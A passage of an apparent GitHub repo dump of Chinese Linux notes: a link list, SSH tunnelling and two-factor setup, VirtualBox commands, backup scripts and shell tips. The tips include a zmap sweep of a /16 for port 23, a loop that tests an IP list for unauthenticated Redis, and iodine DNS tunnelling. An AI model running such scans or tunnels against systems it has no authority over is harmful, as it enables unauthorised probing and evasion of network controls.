配置github-pages所需的Gemfile，也使用国内镜像源\r\necho \"\"\"source 'https://gems.ruby-china.org'\r\ngem 'github-pages', group: :jekyll_plugins\"\"\">Gemfile\r\nbundle install # 耐心等待编译\r\n```"
  },
  {
    "path": "Links.md",
    "content": "\r\n\r\n# Links Share\r\n\r\n分享一些hacker相关的链接, 包含开发、安全、CTF\r\n\r\n觉得没事干？ 不如来逛逛这些地方吧：\r\n\r\n## 开发类\r\n\r\n[Free Programming Books](https://github.com/vhf/free-programming-books/blob/master/free-programming-books-zh.md#web%E6%9C%8D%E5%8A%A1%E5%99%A8) -- github.com/vhf/free-programming-books -- 编程相关的书籍\r\n\r\n[码农翻身微信文章](https://mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw) -- mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw\r\n\r\n[V2EX](https://www.v2ex.com/) -- www.v2ex.com\r\n\r\n[推酷](http://www.tuicool.com/) -- tuicool.com\r\n\r\n[掘金](https://juejin.im/) -- juejin.im\r\n\r\n[PAT](https://www.patest.cn/contests) -- patest.cn -- 类似的还有[ZOJ](http://acm.zju.edu.cn), Leetcode等\r\n\r\n## 安全技能\r\n\r\n[知道创宇研发技能表](http://blog.knownsec.com/Knownsec_RD_Checklist/) -- blog.knownsec.com\r\n\r\n[i春秋](https://www.ichunqiu.com/) -- ichunqiu.com\r\n\r\n[合天](http://www.hetianlab.com/) -- hetianlab.com\r\n\r\n[实验楼](https://www.shiyanlou.com/) -- shiyanlou.com\r\n\r\n[乌云漏洞库镜像](http://www.loner.fm/bugs/) -- loner.fm\r\n\r\n[pwnhub](https://pwnhub.cn/index) -- pwnhub.cn\r\n\r\n[pwnable](http://pwnable.kr/) -- pwnable.kr\r\n\r\n[Jarvis OJ](https://www.jarvisoj.com/) -- jarvisoj.com\r\n\r\n[dnsbllookup](http://dnsbllookup.com/) -- dnsbllookup.com 查询ip是否在黑名单中 其中有两个已经域名过期总是返回Listed\r\n\r\n## 安全资讯\r\n\r\n[FreeBuf](http://www.freebuf.com/) -- www.freebuf.com\r\n\r\n[安全客](http://bobao.360.cn/) -- bobao.360.cn\r\n\r\n[bugs.chromium.org](https://bugs.chromium.org)\r\n\r\n## 个人博客\r\n\r\n按字母顺序排序\r\n\r\n[Aploium Blog](https://z.codes/) -- z.codes\r\n\r\n[Aqua's Blog](http://aqua.hk.cn/) -- aqua.hk.cn\r\n\r\n[ByStudent](http://www.bystudent.com/) -- bystudent.com\r\n\r\n[火日小站](http://www.firesun.me/) -- www.firesun.me\r\n\r\n[free to play - Kira](http://www.lovekira.cn/) -- lovekira.cn\r\n\r\n[Jarvis's Blog](https://www.jarviswang.me/) -- jarviswang.me\r\n\r\n[LeadroyaL's website](http://www.leadroyal.cn/) -- www.leadroyal.cn\r\n\r\n[Melody有奥妙](https://www.melodia.pw/) -- melodia.pw\r\n\r\n[notebook](https://py3.io) -- py3.io\r\n\r\n[qsboy.com](http://www.qsboy.com/) -- qsboy.com\r\n\r\n[樱桃园](https://sakura.moe/) -- sakura.moe\r\n\r\n[Swing'Blog](http://bestwing.me/) -- bestwing.me -- 努力是为了 站在万人中央 成为别人的光\r\n\r\n[信鑫-King's Blog](https://www.ycjcl.cc/) -- ycjcl.cc\r\n\r\n[850's Blog](https://850.world) -- 850.world\r\n\r\n## ZJU\r\n\r\n[浙江大学课程攻略共享计划](https://github.com/QSCTech/zju-icicles) -- github.com/QSCTech/zju-icicles\r\n\r\n[NexusHD](http://www.nexushd.org) -- nexushd.org -- 内网pt站点，高清资源\r\n\r\n[CC98](https://www.cc98.org) -- cc98.org -- cc98是支持https的噢\r\n\r\n[浙大云盘](https://pan.zju.edu.cn) -- pan.zju.edu.cn\r\n\r\n[求是潮Box](https://box.zjuqsc.com/) -- box.zjuqsc.com\r\n\r\n[教务网内网网址](http://10.202.78.12) -- 10.202.78.12\r\n\r\n[教务网的反向代理](https://jw.zjuqsc.com) -- jw.zjuqsc.com\r\n\r\n[开源镜像站](http://mirrors.zju.edu.cn/) -- mirrors.zju.edu.cn\r\n\r\n[竺院学生会.学习资料](https://ckcsu.com/studyfiles) -- ckcsu.com\r\n\r\n[校招薪水](http://www.ioffershow.com/index/) -- ioffershow.com\r\n\r\n## 服务提供商\r\n\r\n[香港VPS](http://www.diyvm.com/) -- diyvm.com\r\n\r\n[腾讯云学生优惠](https://www.qcloud.com/act/campus) -- qcloud.com\r\n\r\n[短信验证码 阿里大于](https://www.alidayu.com/) -- alidayu.com\r\n\r\n[私有代码托管](https://coding.net/) -- coding.net -- 访问速度优于github\r\n\r\n## 非技术文章\r\n\r\n[如何准备技术简历](https://dudu.zhihu.com/story/9287423)\r\n\r\n[技术面试指南](http://open.leancloud.cn/tech-interview-guide.html)\r\n\r\n[“他山之石，可以攻玉”——你的大学，怎样过？](http://jinxuliang.com/blog/Article/Read/a9ec9d6d-5fa8-4c17-bb14-16363714e11a)\r\n\r\n[“带着手机上自习，八小时做一道题”](https://mp.weixin.qq.com/s?__biz=MjM5NTU0MTAzNQ==&mid=206164343&idx=3&sn=ff699c7d7f9d1609d387581abec745ae&scene=5)\r\n\r\n----\r\n\r\n## 结语\r\n\r\n>代码不能当饭吃，代码不能当水喝，代码也不能给谁生孩子。\r\n\r\n\r\n"
  },
  {
    "path": "Linux-SSH.md",
    "content": "\r\n\r\n# SSH\r\n\r\n## 客户端不同服务器使用不同的id_rsa\r\n\r\n修改`.ssh/config`:\r\n\r\n```\r\nHost myshortname realname.example.com\r\n    HostName realname.example.com\r\n    IdentityFile ~/.ssh/realname_rsa # private key for realname\r\n    User remoteusername\r\n\r\nHost aliyun\r\n    HostName 1.2.3.4\r\n    IdentityFile ~/.ssh/realname2_rsa\r\n    Port 10022\r\n    User root\r\n```\r\n\r\n然后就能ssh aliyun这样访问1.2.3.4:10022的ssh了，不用修改/etc/hosts\r\n\r\n## 换个端口开启一个临时的sshd\r\n\r\n```\r\nwhich sshd\r\n/usr/sbin/sshd -oPort=2333\r\n```\r\n\r\n## ssh反向代理\r\n\r\n参见：http://www.tuicool.com/articles/UVRNfi\r\n\r\n将本机的22端口转发至外网服务器的2222端口：\r\n\r\n```\r\nssh -b 0.0.0.0 -L 2222:127.0.0.1:22 user@ip\r\n```\r\n\r\n注意在运行前需要设置免密码登录以及修改外网服务器的sshd_config，加入GatewayPorts  yes\r\n\r\n----\r\n\r\n## 启用SSH密钥登录后两步验证\r\n\r\n效果：不允许密码登录，使用密钥登录后，需要输入手机Google Authenticator显示的动态验证码\r\n\r\n注意在确定两步登录能成功之前，保持一个SSH连接以免配置出错无法再控制服务器\r\n\r\n第零步，确保自己知道root密码还能物理登录服务器\r\n\r\n第一步，安装Google Authenticator这个包\r\n\r\n```\r\napt-get install -y libpam-google-authenticator\r\n```\r\n\r\n第二步，修改/etc/pam.d/sshd\r\n\r\n在顶部（在@include common-auth之前）添加这一行：\r\n\r\n```\r\nauth sufficient pam_google_authenticator.so\r\n```\r\n\r\n第三步，修改/etc/ssh/sshd_config\r\n\r\n不存在则添加，存在但不同就修改，顺序无关\r\n\r\n```\r\nPubkeyAuthentication yes\r\nAuthenticationMethods publickey,keyboard-interactive\r\nChallengeResponseAuthentication yes\r\nPasswordAuthentication no\r\nUsePAM yes\r\n```\r\n\r\n第四步，创建一个密钥\r\n\r\n```\r\ngoogle-authenticator\r\n```\r\n\r\n对问题均回答y或者自行决定咯~\r\n\r\n第五步，重启服务以生效\r\n\r\nservice ssh restart\r\n\r\n\r\n注意它的提问，Verification code问的才是验证码，Password问的是账号密码\r\n\r\n----\r\n\r\n## ssh登录禁用默认的信息显示 Ubuntu\r\n\r\nUbuntu 默认登录后会显示Welcome to Ubuntu等多少软件包可以升级信息，这些信息并不是很重要，却会拖慢ssh登录的速度\r\n\r\n禁用方法如下：From: https://ubuntuforums.org/showthread.php?t=1449020\r\n\r\n编辑这两个文件：`/etc/pam.d/login`, `/etc/pam.d/sshd`，找到其中包含`pam_motd`的行，注释掉之后 `service ssh reload`\r\n\r\n以后再登录ssh就不用等待了\r\n\r\n## ssh config里直接指定端口转发\r\n\r\n参考： https://www.ssh.com/academy/ssh/tunneling/example\r\n\r\n### 在本地访问远程\r\n\r\n```\r\nLocalForward 5901 computer.myHost.edu:5901\r\n```\r\n\r\n等价于`-L 5901:computer.myHost.edu:5901`，将远程的5901端口映射到本地\r\n\r\n### 在远程访问本地\r\n\r\n```\r\nRemoteForward 1234 127.0.0.1:3421\r\n```\r\n\r\n这样等价于`-R 1234:127.0.0.1:3421`，让远程服务器可以通过访问127.0.0.1:1234来访问到客户端的3421\r\n\r\n如果需要允许这个转发的1234端口对外提供访问，还需要修改服务器的sshd_config，设置`GatewayPorts yes`\r\n\r\n\r\n## 普通用户启动第二个sshd\r\n\r\n参考:\r\n- https://serverfault.com/questions/344295/is-it-possible-to-run-sshd-as-a-normal-user\r\n- https://serverfault.com/questions/471327/how-to-change-a-ssh-host-key\r\n\r\n以下使用`~/.ssh`文件夹存放Host key\r\n\r\n```\r\nmkdir ~/.ssh -p\r\nssh-keygen -q -N \"\" -t dsa -f ~/.ssh/ssh_host_dsa_key\r\nssh-keygen -q -N \"\" -t rsa -b 4096 -f ~/.ssh/ssh_host_rsa_key\r\nssh-keygen -q -N \"\" -t ecdsa -f ~/.ssh/ssh_host_ecdsa_key\r\nssh-keygen -q -N \"\" -t ed25519 -f ~/.ssh/ssh_host_ed25519_key\r\ncp /etc/ssh/sshd_config ~/.ssh/\r\n```\r\n\r\n编辑~/.ssh/sshd_config文件，修改这些项目:\r\n\r\n- UsePrivilegeSeparation no\r\n- UsePAM no\r\n- HostKey ~/.ssh/ssh_host_rsa_key <-需要替换为绝对路径\r\n- Port 2222\r\n- PasswordAuthentication no\r\n\r\n\r\n然后启动sshd进程：(如果登录不了加上-d看调试信息）\r\n\r\n```\r\n/usr/sbin/sshd -f ~/.ssh/sshd_config\r\n```\r\n\r\n登录的时候需要使用ssh key登录，因为sshd并不能读取/etc/shadow\r\n"
  },
  {
    "path": "Linux-VirtualBox.md",
    "content": "\r\n\r\n# VirtualBox\r\n\r\n> 参考 https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-ubuntu-16.04-lts-server/\r\n\r\n在linux终端下使用VBoxManage和VBoxHeadless创建、启动、控制一个Ubuntu14.04 64Bit的虚拟机\r\n\r\n## 下载\r\n\r\nhttp://www.virtualbox.org/wiki/Downloads\r\n\r\n从官网找到对应的rpm或deb下载即可\r\n\r\n> rpm文件的安装：\r\n\r\n>    rpm -ivh something.rpm\r\n\r\n> deb文件的安装\r\n\r\n>    dpkg -i something.rpm\r\n\r\n执行`dpkg -i`后需要执行`apt-get -f install`以安装缺失的依赖包\r\n\r\n## 一定要安装额外包\r\n\r\n```\r\ncd /tmp\r\nwget http://download.virtualbox.org/virtualbox/5.1.16/Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack\r\nsudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack\r\n```\r\n\r\n## 创建虚拟机，设置虚拟机选项\r\n\r\n```\r\nmkdir -p /home/virtualbox\r\nVBoxManage createvm --name ubuntu --ostype \"Ubuntu_64\" --register --basefolder /home/virtualbox/\r\nVBoxManage createvdi  --filename ubuntu/ubuntu.vdi --size 102400 # 100GB\r\nVBoxManage storagectl ubuntu --name storage_controller_1 --add ide\r\nVBoxManage storageattach ubuntu --storagectl storage_controller_1 \\\r\n    --type hdd --port 0 --device 0  --medium ubuntu/ubuntu.vdi\r\nVBoxManage storageattach ubuntu --storagectl storage_controller_1 \\\r\n    --type dvddrive --port 1 --device 0 --medium ubuntu-14.04.4-server-amd64.iso\r\nVBoxManage modifyvm ubuntu --cpus 4 --memory 2048 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 3389\r\n```\r\n\r\n以下是我安装CentOS 6.8 32bit minimal的过程\r\n\r\n```\r\npushd /root\r\ncurl -O http://mirrors.zju.edu.cn/centos/6.8/isos/i386/CentOS-6.8-i386-minimal.iso\r\nmkdir /home/virtualbox\r\n#看看ostype支持哪一些，结果发现有RedHat，就选它咯\r\nVBoxManage list ostypes\r\nVBoxManage createvm --name centos --ostype \"RedHat\" --register --basefolder /home/virtualbox/\r\npushd /home/virtualbox\r\nVBoxManage createvdi  --filename centos/disk.vdi --size 2048 # 2GB\r\nVBoxManage storagectl centos --name storage_controller_1 --add ide\r\nVBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium centos/disk.vdi\r\nVBoxManage storageattach centos --storagectl storage_controller_1 --type dvddrive --port 1 --device 0 --medium /root/CentOS-6.8-i386-minimal.iso\r\n#配置CPU和内存限制，光驱启动，允许多个客户端连接\r\nVBoxManage modifyvm centos --cpus 1 --memory 512 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 13389 --vrdemulticon on\r\n```\r\n\r\n## 启动虚拟机\r\n\r\n```\r\nnohup VBoxHeadless -startvm ubuntu --vrde on -e  TCP/Ports=63389 &\r\n```\r\n\r\n## 控制虚拟机\r\n\r\nWindows下使用`mstsc`远程连接即可获得一个图形界面的终端完成系统安装\r\n\r\n## 删除硬盘\r\n\r\n```\r\nVBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium none\r\nVBoxManage closemedium centos/disk.vdi\r\nrm centos/disk.vdi\r\n```\r\n\r\n## 运行条件下修改端口映射\r\n\r\n```\r\n# 首先通过mstsc物理接触虚拟机，确认ifconfig已经得到ip\r\n# 否则需要在虚拟机中执行 ifconfig -a 查看网卡，执行 dhclient eth0 获得ip\r\n\r\n# 例如我们需要将虚拟机的22端口映射出10022端口\r\n# 最后一个参数的格式：规则名称,tcp还是udp,主机的IP(不填就好),主机暴露出来的端口,虚拟机的IP(不填就好),需要映射的虚拟机端口\r\nVBoxManage controlvm 虚拟机名称 natpf1 ssh,tcp,,10022,,22\r\n```\r\n\r\n## 运行条件下关闭远程控制\r\n\r\n系统安装好了，SSH开了，SSH的端口映射可以连上去了，就可以关掉远程控制了\r\n\r\n```\r\nVBoxManage controlvm 虚拟机名称 vrde off\r\n```\r\n\r\n## 屏幕截图\r\n\r\n```\r\nVBoxManage controlvm <vm name> screenshotpng /tmp/<filename>.png\r\n```\r\n\r\n## 优雅的关机\r\n\r\n```\r\nvboxmanage controlvm 虚拟机名称 poweroff soft\r\n```\r\n\r\n## 开启vrde远程桌面\r\n\r\n似乎需要先关机才能操作\r\n\r\n```\r\nVBoxManage modifyvm \"VM name\" --vrdeextpack default\r\nVBoxManage modifyvm \"VM name\" --vrde on\r\nVBoxManage modifyvm \"VM name\" --vrdeport 3391\r\nVBoxManage modifyvm \"VM name\" --vrdeaddress 0.0.0.0\r\n```\r\n\r\n\r\n## 从硬盘+快照vdi文件恢复\r\n\r\n假设备份的时候只复制了硬盘vdi文件和Snapshots的vdi文件，而忘记了备份vbox文件，如何恢复快照关系呢\r\n\r\n找到 https://superuser.com/questions/1224554/recreate-virtualbox-machine-with-snapshots ，思路是创建个新的虚拟机 从base vdi开始打快照->编辑vbox将新的Snapshot指向下一个快照->继续打快照重复\r\n\r\n其中就需要我们搞清楚快照的依赖关系，看文件修改的时间戳差不多可以知道，但如果没有这种信息也不必按照人家说的一个个加载尝试，可以使用[这篇](https://superuser.com/questions/437767/how-to-merge-arbitrary-snapshot-into-base-vdi-in-virtualbox)说到的`VBoxManage internalcommands dumphdinfo`来查看每个快照文件的parent是谁。\r\n\r\n"
  },
  {
    "path": "Linux-backup.md",
    "content": "# 备份 备份 备份！\r\n\r\n一个良好安全的备份计划至关重要，备份脚本应该导出数据库、压缩日志和动态产生的数据文件，加密后上传至其他服务器或CDN\r\n\r\n\r\n----\r\n\r\n## Demo\r\n\r\n下面的例子涉及到date、docker、tar、zip、七牛qshell命令的使用\r\n\r\n```bash\r\n# !/bin/bash\r\npushd 工作目录\r\nd=`date +%Y%m%d`\r\nmkdir bakup$d\r\ncd bakup$d\r\n(docker exec 容器名称 mysqldump -p密码 数据库名称) >database.sql\r\ntar cvzf log.tar.gz ../log # 压缩log目录\r\ncd ../\r\n# 使用zip加密压缩，压缩后删除原文件\r\nzip -r -P 压缩密码 -m bakup$d.zip bakup$d/\r\n# 使用七牛的qshell上传备份文件，运行前需要配置账号qshell account 你的AK 你的SK\r\n# 下面这条命令表示将bakup$d.zip上传，CDN上存储的文件名为$d.zip\r\n./qshell fput 你的bucket的名称 $d.zip bakup$d.zip\r\n# 如果你放心可以本地彻底删掉备份文件：\r\n# rm -r bakup$d.zip\r\n\r\n```\r\n\r\n----\r\n\r\n## 用rsync代替scp\r\n\r\nrsync可以断点续传，不如就用rsync代替scp\r\n\r\n参考：[https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh](https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh)\r\n\r\n首先需要ssh-keygen生成id_rsa,把id_rsa.pub的内容复制到目标机器的~/.ssh/authorized_keys\r\n\r\n在需要使用scp -r的地方改为rsync -avz -e \"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" --progress\r\n\r\n----\r\n\r\n## tar备份整个系统\r\n\r\n比如通过远程ssh的方式下载到服务器的整个根目录打包：\r\n\r\n```\r\nssh server tar -cvpz --one-file-system / > server_backup.tar.gz\r\n```\r\n\r\n其中：\r\n\r\n- c 创建\r\n- v 压缩时显示详情 当前处理的文件\r\n- p preserve-permissions保留权限信息\r\n- z 使用gzip压缩\r\n\r\n## 使用rsync像time machine一样全盘备份\r\n\r\nhttps://github.com/laurent22/rsync-time-backup\r\n\r\n例如将Linux服务器多个硬盘所有文件备份到/nas/hostname下面\r\n\r\n先从github下载这个[rsync_tmbackup.sh](https://github.com/laurent22/rsync-time-backup/raw/master/rsync_tmbackup.sh)文件，删掉其中的` --one-file-system`，放入/nas目录\r\n\r\n将需要忽略的目录写成/nas/rsync_ignore.txt，例如：（注意忽略了/mnt）\r\n\r\n```\r\n- /boot\r\n- /dev\r\n- /lost+found\r\n- /media\r\n- /mnt\r\n- /nas\r\n- /nfs\r\n- /proc\r\n- /snap\r\n- /sys\r\n- /tmp\r\n```\r\n\r\n然后就执行呗：\r\n\r\n```\r\nmkdir -p /nas/hostname\r\ntouch /nas/hostname/backup.marker\r\n/nas/rsync_tmbackup.sh / /nas/hostname/ /nas/rsync_ignore.txt\r\n```\r\n\r\n好处是不用自己构造rsync各种复杂的参数，备份的效果是每次备份都会产生一个文件夹，但上次备份时已经存在的文件只会做硬链接\r\n\r\n### rsync备份到非root用户的目标机器上\r\n\r\n参考： https://serverfault.com/questions/755753/preserve-ownership-with-rsync-without-root\r\n\r\n全盘备份希望能保留文件的属性，如果目标位置没有root用户则不能直接保留，rsync提供了`--fake-super`这个选项\r\n\r\n这个`--fake-super`选项启用后，rsync会把属性以特殊拓展属性的方式存储，恢复的时候rsync会利用这个属性进行恢复\r\n\r\n## rsync备份安卓手机\r\n\r\n参考： http://ptspts.blogspot.com/2015/03/how-to-use-rsync-over-adb-on-android.html\r\n\r\n首先保证手机的usb调试开启了，adb shell能进入手机，在Linux主机上执行：\r\n\r\n```\r\n# 将rsync二进制发给手机\r\nwget -O rsync.bin http://github.com/pts/rsyncbin/raw/master/rsync.rsync4android\r\nadb push rsync.bin /data/local/tmp/rsync\r\nadb shell chmod 755 /data/local/tmp/rsync\r\nadb shell /data/local/tmp/rsync --version\r\n\r\n# 在安卓上启动rsync server 监听在1873端口，转发到Linux的6010端口\r\nadb shell 'exec >/sdcard/rsyncd.conf && echo address = 127.0.0.1 && echo port = 1873 && echo \"[root]\" && echo path = / && echo use chroot = false && echo read only = false'\r\nadb shell /data/local/tmp/rsync --daemon --no-detach --config=/sdcard/rsyncd.conf --log-file=/proc/self/fd/2\r\n# 再启动一个终端继续\r\nadb forward tcp:6010 tcp:1873\r\n\r\n# 复制整个/sdcard目录\r\nrsync -avzP --stats rsync://localhost:6010/root/sdcard/ .\r\n```\r\n\r\n"
  },
  {
    "path": "Linux-cli.md",
    "content": "# Linux命令行操作技巧\r\n\r\n本文档一般不涉及root权限，Linux相关笔记还有：\r\n\r\n[Linux系统配置](Linux-setup.md)\r\n\r\n[SSH远程登录](Linux-SSH.md)\r\n\r\n[Linux备份](Linux-backup.md)\r\n\r\n\r\n----\r\n\r\n## 查看内置命令的帮助\r\n\r\n将以下内容加入`~/.bashrc`中即可，判断如果在内置命令就调用help -m，不是则绕开bash函数来运行man进程\r\n\r\n```sh\r\nman () {\r\n    case \"$(type -t -- \"$1\")\" in\r\n    builtin|keyword)\r\n        help -m \"$1\" | sensible-pager\r\n        ;;\r\n    *)\r\n        command man \"$@\"\r\n        ;;\r\n    esac\r\n}\r\n```\r\n\r\n----\r\n\r\n## grep搜索帮助文档\r\n\r\n用两个横线`--`作为grep的第一个参数表示不要把其后面的形如`-z`的参数当成grep的参数\r\n\r\n例如我想知道tar命令中的-z是什么意思：\r\n\r\n```bash\r\nman tar|grep -- -z\r\n```\r\n\r\n## 帮助文本的grep，把stderr重定向到stdout\r\n\r\n某些时候帮助文本是输出到标准错误输出的，需要用2>&1这样的重定向咯\r\n\r\n    ssh-keygen --help 2>&1|grep bit\r\n\r\n----\r\n\r\n## 各种解压命令\r\n\r\ntar.gz： `tar -zxvf xx.tar.gz`\r\n\r\ntar.bz2： `tar -jxvf xx.tar.bz2`\r\n\r\nzip：`unzip xx.zip`\r\n\r\n参数含义：\r\n\r\n-x解压，-v详细显示解压出来的东西（如果是一个复杂的压缩包建议不要用以加快解压速度），-f后接压缩文件的文件名\r\n\r\n----\r\n\r\n## 当前目录文件全文搜索\r\n\r\n这里要搜索当前目录下面所有的包含\"MultiTeam\"文件\r\n\r\n    grep MultiTeam -r .\r\n\r\n----\r\n\r\n## 统计当前文件夹代码行数\r\n\r\nfind 指定文件后缀名，记住要引号避免bash解析*\r\n\r\n    find -name \"*.py\" -o -name \"*.md\"|xargs cat|wc\r\n\r\n----\r\n\r\n## 查看给定文件列表的文件大小\r\n\r\n用xargs -d指定分隔符为\\n（默认会按照空格和\\n分隔参数）\r\n\r\n```\r\ncat list.txt | xargs -d \"\\n\" ls -alh\r\n```\r\n\r\n----\r\n\r\n## wget慢慢下载\r\n\r\n```\r\nwget -i list.txt  -nc --wait=60 --random-wait\r\n```\r\n\r\n其中nc表示已经下载到的文件就不要再请求了，wait=60表示两次请求间隔60s，random-wait表示随机等待2~120s\r\n\r\n----\r\n\r\n## touch修改时间戳\r\n\r\n将b.txt的时间戳改为和a.txt一样\r\n\r\n```\r\ntouch -r a.txt b.txt\r\n```\r\n\r\n----\r\n\r\n## 去掉Ubuntu默认情况下ls的颜色\r\n\r\n```\r\nunalias ls\r\n```\r\n\r\n或者直接使用：Credits [@rachpt](https://github.com/rachpt)\r\n\r\n```\r\n\\ls\r\n```\r\n\r\n同理也可以绕过grep的alias: `\\grep`\r\n\r\n----\r\n\r\n## 换行方式修改\r\n\r\n如果一个文件来自于Windows，可能需要先修改换行方式才能用，去掉文件中的\\r\r\n\r\nvim中输入 `:set ff=unix`\r\n\r\n----\r\n\r\n## iodine--使用DNS传输数据\r\n\r\n>* http://code.kryo.se/iodine/\r\n\r\n注意： 本方案网速极低，使用时要有足够的耐心，不能保证复杂情况下是否可行（尤其是Windows）\r\n\r\n前期准备：一个域名（假设为example.com）及一台服务器（假设为1.2.3.4），建议客户端在Linux上运行\r\n\r\n### 1. 设置域名解析\r\n\r\ndns.example.com添加一条A记录，解析至1.2.3.4\r\n\r\nt.example.com添加一条NS记录，值为dns.example.com\r\n\r\n### 2. 服务器端\r\n\r\n    ./iodined -f -c -P secretpassword 192.168.99.1 t.example.com\r\n\r\n-f表示持续占用前台，-c表示不限制请求源，-P指定密码，最后是`内网IP`和使用的域名\r\n\r\n内网IP可以随意指定，只要当前服务器没有占用即可，例如可以改为172.16.0.1\r\n\r\n### 3.检查服务端是否正常\r\n\r\nhttp://code.kryo.se/iodine/check-it/\r\n\r\n作者提供了在线检查工具，输入t.example.com即可检查\r\n\r\n### 4.客户端\r\n\r\n建议在ubuntu等完整的Linux操作系统上运行，下载源码后make即可\r\n\r\n     ./iodine -f -P secretpassword t.example.com\r\n\r\n效果图：\r\n\r\n![](download/img/iodine-finish.jpg)\r\n\r\n----\r\n\r\n## 远程控制Windows\r\n\r\nWindows下有自带的mstsc，Linux如树莓派用啥呢？就用[rdesktop](http://www.rdesktop.org/)啦\r\n\r\n手册查询用`man rdesktop`\r\n\r\n快速使用：\r\n\r\n```\r\nsudo apt-get install -y rdesktop\r\nrdesktop -f -k en-us -C -N -z -xl -P -u 用户名 -p 密码 服务器地址:端口\r\n```\r\n\r\n其中-f表示全屏， -k设置键盘布局， -C使用私有颜色表，-N同步NumLock，-z启用压缩，-xl 设置为LAN场景，-P使用bitmap缓存\r\n\r\n注意上述在命令行中使用明文密码并不安全，可能被其他用户用ps等工具看到，建议仅仅在完全自己控制的Linux上系统上这样操作\r\n\r\n----\r\n\r\n## 统计以特定字符串开头的文件数目\r\n\r\nawk是个很好用的工具呢，支持substr函数，用法为substr(源字符串，开始，长度)，其中开始从1计数\r\n\r\n`ls -l` 长列表显示的话，按空格分就是$9\r\n\r\n```\r\nls -l|awk '{if(substr($9,1,字符串长度)==\"你要的那个字符串\") print $9}'|sort|uniq|wc -l\r\n```\r\n\r\n----\r\n\r\n## hexdump查看字符内部编码\r\n\r\necho的-n参数表示不要末尾加\\n\r\n\r\n```\r\necho -n hello | hexdump -C\r\n```\r\n\r\n----\r\n\r\n## 子目录大小排序\r\n\r\nsort的-h表示按人类理解的大小格式排序，-r表示逆序\r\n\r\n```\r\ndu -sh * | sort -hr\r\n```\r\n\r\n----\r\n\r\n## 安装ffmpeg\r\n\r\n在ubuntu14下是没有ffmpeg的官方包支持的，需要添加mc3man的ppa\r\n\r\n```\r\nsudo add-apt-repository ppa:mc3man/trusty-media\r\n#按回车继续\r\nsudo apt-get update\r\nsudo apt-get install -y ffmpeg\r\n```\r\n\r\n----\r\n\r\n## 保证脚本安全执行set -ex\r\n\r\n`set`命令挺有用的呢，-e表示如果后面的语句返回不为0立刻结束shell，-x表示显示出每条命令及参数\r\n\r\n从[人家的Dockerfile](https://github.com/Medicean/VulApps/blob/master/s/struts2/s2-032/Dockerfile)中学习得来\r\n\r\n----\r\n\r\n## change readonly bash variable\r\n\r\nbash is a weird thing...\r\n\r\ndeclaring a variable as reference by using `declare -n`, we can change it!\r\n\r\n```\r\n$ a=1\r\n$ readonly a\r\n$ a=2\r\nbash: a: readonly variable\r\n#Look here!\r\n$ declare -n a\r\n$ a=2\r\n$ echo $a\r\n2\r\n```\r\n\r\n----\r\n\r\n## 永久等待 sleep infinity\r\n\r\n有时写了一个sh文件后需要保持这个sh的运行，就用sleep永久等待好咯\r\n\r\n```\r\nsleep infinity\r\n```\r\n\r\n----\r\n\r\n## zmap扫描整个网段特定开放端口\r\n\r\nzmap的运行需要root权限，用`apt-get install zmap`即可安装\r\n\r\n更详细的帮助去看看`zmap --help`咯\r\n\r\n```\r\n#需要先编辑黑名单 vi /etc/zmap/blacklist.conf 取消掉注释\r\nzmap 192.168.0.0/16 -B1000M -i eth0 -g -T 4  -p 23 -o 23.txt\r\n```\r\n\r\n其中`-g`表示扫描结束后显示总结，`-T 4`表示启动4个扫描线程，`-p 23`表示扫描23端口，-o保存文件的名称\r\n\r\n如果拨号了vpn，需要用-G指定网关的MAC地址，可以通过`arp 网关的IP`得到\r\n\r\n\r\n----\r\n\r\n## 对ip列表批量测试redis未授权漏洞\r\n\r\n```\r\nfor i in `cat iplist.txt`; do (if [ `echo PING|redis-cli -h $i` == \"PONG\" ] ;then echo $i;fi);done 2>/dev/null\r\n```\r\n\r\n利用了bash支持的for语句，注意for之后的分号和最后的done\r\n\r\n还有用了if字符串相等，记得要用fi结束if\r\n\r\nredis-cli连接上服务器后发送PING，如果存在未授权访问漏洞则会返回PONG，否则会要求Auth或者其他报错信息\r\n\r\n----\r\n\r\n## 使用ImageMagick对图像进行裁剪\r\n\r\n安装命令：`sudo apt-get install -y imagemagick`\r\n\r\n处理一张图片in.png，裁剪成300x280大小，从(30,0)作为裁剪的左上角点，得到out.png：\r\n\r\n```\r\nconvert in.png -crop 300x280+30+0 out.png\r\n```\r\n\r\n其实这四个参数是我反复尝试二分法得到的，或许可以用专业软件快速得到吧\r\n\r\n关键是可以批量处理呀，这里下载friends的头像图片进行处理：\r\n\r\n```\r\nfor i in {1..79}; do curl -o $i.png http://kemono-friends.jp/wp-content/uploads/2016/11/no`printf \"%03d\" $i`.png --proxy socks5://127.0.0.1:1080; done\r\nfor i in {1..79}; do convert $i.png -crop 300x280+30+0 $i.png; done\r\n```\r\n\r\n其中使用了printf命令，可以使得1变成人家url需要的001\r\n\r\n----\r\n\r\n## 查找0字节的文件并删除\r\n\r\n```\r\nfind . -size 0 -delete\r\n```\r\n\r\n查找大于100M的文件：`find . -size +100M`\r\n\r\n----\r\n\r\n## 批量修改文件后缀名\r\n\r\n将当前目录下(包含子目录)所有的txt文件改为.newext后缀：\r\n\r\n```\r\nfind . -name \"*.txt\" -exec rename 's/.txt$/.newext/' {} \\;\r\n```\r\n\r\n如果curl下载的时候允许gzip但忘了--compressed得到的文件是gzip压缩的，修改当前文件夹所有.txt为.txt.gz，然后解压缩：其中rename -v表示显示修改的列表\r\n\r\n```\r\nrename -v 's/.txt$/.txt.gz/' *.txt\r\ngunzip *.gz\r\n```\r\n\r\n----\r\n\r\n## 用vim去除\\r换行符 \r\n\r\n用vim打开文件后，输入以下内容，冒号也是需要按的\r\n\r\n```\r\n:set 